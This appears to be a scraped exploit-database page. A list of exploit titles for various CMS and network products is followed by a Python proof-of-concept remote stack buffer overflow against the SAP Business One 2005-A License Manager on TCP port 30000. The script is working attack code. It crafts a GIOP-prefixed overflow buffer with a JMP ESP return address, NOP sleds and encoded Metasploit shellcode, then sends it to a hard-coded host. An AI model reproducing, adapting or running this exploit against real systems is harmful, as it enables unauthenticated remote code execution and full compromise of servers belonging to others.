477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
51 lines
2.3 KiB
Python
Executable file
51 lines
2.3 KiB
Python
Executable file
#!/usr/bin/python
|
|
import socket, time
|
|
|
|
|
|
#########################################INFO################################################
|
|
# NT_Naming_Service.exe (License Manager 2005 for SAP Business One 2005-A) is #
|
|
# vulnerable to a stack-based buffer overflow allowing for full system compromise by #
|
|
# an unauthenticated user that has TCP/IP access to SAP's license service on TCP port 30000.#
|
|
# Mike Arnold ---> mikey27 .::at::. hotmail.com #
|
|
############################################################################################
|
|
|
|
|
|
header = ("########################################################################\r\n"
|
|
"# SAP Business One 2005-A License Manager remote overflow PoC #\r\n"
|
|
"# Tested on 2005-A (6.80.123) SP:00 PL:06 #\r\n"
|
|
"# 2005-A (6.80.320) SP:01 PL:34 #\r\n"
|
|
"# OS: Windows Server 2003 R2 Std/Ent Service Pack 2 #\r\n"
|
|
"# Coded by Bruk0ut - mikey27 .::at::. hotmail.com #\r\n"
|
|
"########################################################################\r\n")
|
|
|
|
|
|
#metasploit windows/exec - notepad.exe x86/shikata_ga_nai 152 bytes
|
|
sc = ("\xbf\xd6\x21\x7d\x3b\xda\xdb\xd9\x74\x24\xf4\x33\xc9\x5d\xb1"
|
|
"\x20\x31\x7d\x13\x83\xc5\x04\x03\x7d\xd9\xc3\x88\xc7\x0d\x47"
|
|
"\x73\x38\xcd\xc3\x36\x04\x46\xaf\xbd\x0c\x59\xbf\x35\xa3\x41"
|
|
"\xb4\x15\x1c\x70\x21\xe0\xd7\x46\x3e\xf2\x09\x97\x80\x6c\x79"
|
|
"\x53\xc0\xfb\x85\x9a\x0b\x0e\x8b\xde\x67\xe5\xb0\x8a\x53\x02"
|
|
"\xb2\xd7\x17\x55\x18\x16\xc3\x0c\xeb\x14\x58\x5a\xb4\x38\x5f"
|
|
"\xb7\xc0\x5c\xd4\x46\x3c\xd5\xb6\x6c\xc6\x26\x19\x5c\x30\xc8"
|
|
"\xf0\xfa\x37\x4e\xcd\x89\x08\x42\xa6\xfe\x94\xf7\x33\x96\xac"
|
|
"\x8e\xbc\xe4\x6d\xfa\x6c\x83\x9d\x70\x88\x0c\x36\x1c\x6f\x38"
|
|
"\xc8\x4b\x6f\xda\xbb\x1c\xfb\x40\x34\x83\x67\xa5\xd1\x3b\x0d"
|
|
"\xb9\x13")
|
|
|
|
#JMP ESP 0x773a73fb User32.dll - Server2k3 R2 STD/ENT - SP2
|
|
ret = '\xfb\x73\x3a\x77'
|
|
giop_header = '\x47\x49\x4f\x50\x01\x00\x01\x00'
|
|
buff = giop_header + '\x2f\x5c' * 500 + "A" * 24 + ret + '\x90' * 44 + sc + '\x90' * 384
|
|
|
|
print (header)
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
s.connect (('10.0.0.241',30000))
|
|
s.setblocking(0)
|
|
|
|
s.send(buff)
|
|
time.sleep(1)
|
|
print ("done!")
|
|
|
|
s.close()
|
|
|
|
# milw0rm.com [2009-08-01]
|